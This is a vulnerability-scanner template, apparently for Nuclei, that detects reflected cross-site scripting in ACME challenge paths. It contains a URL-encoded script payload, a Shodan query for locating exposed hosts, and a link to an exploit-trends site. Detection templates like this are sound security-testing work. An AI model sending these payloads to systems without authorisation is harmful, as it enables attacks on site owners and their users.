acme-challenge-path-xss: ACME Challenge Path - Reflected Cross-Site Scripting

id: acme-challenge-path-xss

info:
  name: ACME Challenge Path - Reflected Cross-Site Scripting
  author: pussycat0x
  severity: low
  description: |
    Detects XSS vulnerabilities in ACME http-01 challenge implementations where hosting providers reflect the challenge key from the URL without proper sanitization
  reference:
    - https://labs.detectify.com/security-guidance/xss-using-quirky-implementations-of-acme-http-01/
    - https://www.acunetix.com/vulnerabilities/web/cross-site-scripting-in-http-01-acme-challenge-implementation/
  classification:
    cwe-id: CWE-80
  metadata:
    shodan-query: html:"acme-challenge"
  tags: xss,acme,misconfig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/.well-known/acme-challenge/%3C%3fxml%20version=%221.0%22%3f%3E%3Cx:script%20xmlns:x=%22http://www.w3.org/1999/xhtml%22%3Ealert%28document.domain%26%23x29%3B%3C/x:script%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "<script>alert(document.domain)</script>")'
        condition: and
# digest: 4b0a00483046022100ecd37df29ea4514944ce624ca57b347014f55b86a9664b0e6a9416586de9e824022100b141263f1358d891076f7d2812848e80906ec618ab18ee1f633231b1be6f4fe3:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.